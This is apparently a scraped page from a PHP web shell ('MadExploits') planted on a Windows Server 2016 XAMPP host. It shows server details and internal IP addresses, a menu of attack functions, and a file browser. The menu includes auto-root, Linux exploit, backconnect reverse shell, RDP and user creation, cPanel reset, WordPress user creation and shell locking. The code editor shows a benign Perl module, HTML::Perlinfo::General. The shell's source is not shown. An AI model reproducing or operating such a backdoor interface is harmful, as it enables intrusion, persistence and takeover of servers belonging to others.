Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
lib /
HTML /
Perlinfo /
[ HOME SHELL ]
Name
Size
Permission
Action
Apache.pm
3.66
KB
-rw-rw-rw-
Base.pm
8.28
KB
-rw-rw-rw-
Common.pm
14
KB
-rw-rw-rw-
General.pm
8.59
KB
-rw-rw-rw-
HTML.pod
7.27
KB
-rw-rw-rw-
Loaded.pm
2.17
KB
-rw-rw-rw-
Modules.pm
28.42
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : General.pm
package HTML::Perlinfo::General; use base qw(Exporter); our @EXPORT = qw(print_httpd print_thesemodules print_config print_variables print_general); use CGI qw(url_param param); use POSIX qw(uname); use Config qw(%Config config_sh); use Net::Domain qw(hostname); use File::Spec; use HTML::Perlinfo::Common; use HTML::Perlinfo::Apache; # Should search for Get, Post, Cookies, Session, and Environment. sub perl_print_gpcse_array { my $html; my($name) = @_; my ($gpcse_name, $gpcse_value); #POST names should be param() and get in url_param() if (defined($ENV{'QUERY_STRING'}) && length($ENV{'QUERY_STRING'}) >= 1) { foreach(url_param()) { $html .= print_table_row(2, "GET[\"$_\"]", url_param($_)); } } if (defined($ENV{'CONTENT_LENGTH'})) { foreach(param()) { $html .= print_table_row(2, "POST[\"$_\"]", param($_)); } } if (defined($ENV{'HTTP_COOKIE'})) { $cookies = $ENV{'HTTP_COOKIE'}; @cookies = split(';',$cookies); foreach (@cookies) { ($k,$v) = split('=',$_); $html .= print_table_row(2, "COOKIE[\"$k\"]", "$v"); } } foreach my $key (sort(keys %ENV)) { $gpcse_name = "$name" . '["' . "$key" . '"]'; if ($ENV{$key}) { $gpcse_value = "$ENV{$key}"; } else { $gpcse_value = "<i>no value</i>"; } $html .= print_table_row(2, "$gpcse_name", "$gpcse_value"); } return $html; } sub print_variables { return join '', print_section("Environment"), print_table_start(), print_table_header(2, "Variable", "Value"), ((defined($ENV{'SERVER_SOFTWARE'})) ? perl_print_gpcse_array("SERVER") : perl_print_gpcse_array("ENV",)), print_table_end(); } sub print_config { return join '', print_section("Perl Core"), print_table_start(), print_table_header(2, "Variable", "Value"), print_config_sh($_[0]), print_table_end(); } sub print_config_sh { my @configs = qw/api_versionstring cc ccflags cf_by cf_email cf_time extensions installarchlib installbin installhtmldir installhtmlhelpdir installprefix installprefixexp installprivlib installscript installsitearch installsitebin known_extensions libc libperl libpth libs myarchname optimize osname osvers package perllibs perlpath pm_apiversion prefix prefixexp privlib privlibexp startperl version version_patchlevel_string xs_apiversion/; return ($_[0] eq 'info_all') ? join '', map { print_table_row(2, add_link('config',$_), $Config{$_})} @configs : join '', map { print_table_row(2, map{ if ($_ !~ /^'/) { add_link('config', $_); } else { if ($_ eq "\'\'" || $_ eq "\' \'" ) { my $value = "<i>no value</i>"; $value; } else { $_; } } }split/=/,$_ ) } split /\n/, config_sh(); } sub print_httpd { return unless (defined $ENV{'SERVER_SOFTWARE'} && $ENV{'SERVER_SOFTWARE'} =~ /apache/i); my $a = HTML::Perlinfo::Apache->new(); my $html .= print_section("Apache"); $html .= print_table_start(); $html .= $a->print_apache() if $a->has qw(env); $html .= print_table_end(); $html .= $a->print_modperl() if $a->has qw(mp); $html .= print_section("Apache Environment"), $html .= print_table_start(); $html .= print_table_header(2, "Variable", "Value"), $html .= $a->print_apache_environment() if $a->has qw(env); $html .= print_table_end(); return $html; } sub print_thesemodules { my $opt = shift; $m = HTML::Perlinfo::Modules->new(); if ($opt eq 'core') { return $m->print_modules(show_only=>$opt, full_page=>0); } elsif ($opt eq 'all') { return $m->print_modules(section=>'All Perl modules', full_page=>0); } elsif ($opt eq 'loaded' && ref $_[0] eq 'ARRAY') { return $m->print_modules(section=>'Loaded Modules', files_in=>shift, full_page=>0); } else { die "internal function print_thesemodules has invalid arguments: @_"; } } sub print_general { my $opt = shift || 'full'; my $html = print_box_start(1); $html .= sprintf("<h1 class=\"p\">Perl Version %s</h1><br style=\"clear:both\" />Release date: %s", perl_version(), release_date()); $html .= print_box_end(); $html .= print_table_start(); $html .= print_table_row(2, "Currently running on", "@{[ (uname)[0..4] ]}"); $html .= print_table_row(2, "Built for", "$Config{archname}"); $html .= print_table_row(2, "Build date", "$Config{cf_time}"); $html .= print_table_row(2, "Perl path", "$^X"); $html .= print_table_row(2, "Additional C Compiler Flags", "$Config{ccflags}"); $html .= print_table_row(2, "Optimizer/Debugger Flags", "$Config{optimize}"); if (defined($ENV{'SERVER_SOFTWARE'})) { $html .= print_table_row(2, "Server API", "$ENV{'SERVER_SOFTWARE'}"); } if ($Config{usethreads} && !$Config{useithreads} && !$Config{use5005threads}) { $html .= print_table_row(2, "Thread Support", "enabled (threads)"); } elsif ($Config{useithreads} && !$Config{usethreads} && !$Config{use5005threads}) { $html .= print_table_row(2, "Thread Support", "enabled (ithreads)"); } elsif ($Config{use5005threads} && !$Config{usethreads} && !$Config{useithreads}) { $html .= print_table_row(2, "Thread Support", "enabled (5005threads)"); } elsif ($Config{usethreads} && $Config{useithreads} && !$Config{use5005threads}) { $html .= print_table_row(2, "Thread Support", "enabled (threads, ithreads)"); } elsif ($Config{usethreads} && $Config{use5005threads} && !$Config{useithreads}) { $html .= print_table_row(2, "Thread Support", "enabled (threads, 5005threads)"); } elsif ($Config{useithreads} && $Config{use5005threads} && !$Config{usethreads}) { $html .= print_table_row(2, "Thread Support", "enabled (ithreads, 5005threads)"); } elsif ($Config{usethreads} && $Config{useithreads} && $Config{use5005threads}) { $html .= print_table_row(2, "Thread Support", "enabled (threads, ithreads, 5005threads)"); } else { $html .= print_table_row(2, "Thread Support", "disabled (threads, ithreads, 5005threads)"); } $html .= print_table_end(); $html .= print_box_start(0); $html .= "This is perl, v$Config{version} built for $Config{archname}<br />Copyright (c) 1987-@{[ sprintf '%d', (localtime)[5]+1900]}, Larry Wall"; $html .= print_box_end(); return $html if $opt eq 'top'; $html .= print_hr(); $html .= "<h1>Configuration</h1>\n"; $html .= print_config('info_all'); $html .= join '', print_section("Perl utilities"), print_table_start(), print_table_header(2, "Name", "Location"), print_table_row(2, add_link('cpan', 'h2ph'), check_path("h2ph")), print_table_row(2, add_link('cpan', 'h2xs'), check_path("h2xs")), print_table_row(2, add_link('cpan', 'perldoc'), check_path("perldoc")), print_table_row(2, add_link('cpan', 'pod2html'), check_path("pod2html")), print_table_row(2, add_link('cpan', 'pod2latex'), check_path("pod2latex")), print_table_row(2, add_link('cpan', 'pod2man'), check_path("pod2man")), print_table_row(2, add_link('cpan', 'pod2text'), check_path("pod2text")), print_table_row(2, add_link('cpan', 'pod2usage'), check_path("pod2usage")), print_table_row(2, add_link('cpan', 'podchecker'), check_path("podchecker")), print_table_row(2, add_link('cpan', 'podselect'), check_path("podselect")), print_table_end(), print_section("Mail"), print_table_start(), print_table_row(2, 'SMTP', hostname()), print_table_row(2, 'sendmail_path', check_path("sendmail")), print_table_end(), print_httpd(), print_section("HTTP Headers Information"), print_table_start(), print_table_colspan_header(2, "HTTP Request Headers"); if (defined($ENV{'SERVER_SOFTWARE'})) { $html .= join '', print_table_row(2, 'HTTP Request', "$ENV{'REQUEST_METHOD'} @{[File::Spec->abs2rel($0)]} $ENV{'SERVER_PROTOCOL'}"), print_table_row(2, 'Host', $ENV{'HTTP_HOST'}), print_table_row(2, 'User-Agent', $ENV{'HTTP_USER_AGENT'}), print_table_row(2, 'Accept', $ENV{'HTTP_ACCEPT_ENCODING'}), print_table_row(2, 'Accept-Language', $ENV{'HTTP_ACCEPT_LANGUAGE'}), print_table_row(2, 'Accept-Charset', $ENV{'HTTP_ACCEPT_CHARSET'}), print_table_row(2, 'Keep-Alive', $ENV{'HTTP_KEEP_ALIVE'}), print_table_row(2, 'Connection', $ENV{'HTTP_CONNECTION'}); } $html .= print_table_end(); return $html; } 1;
Close
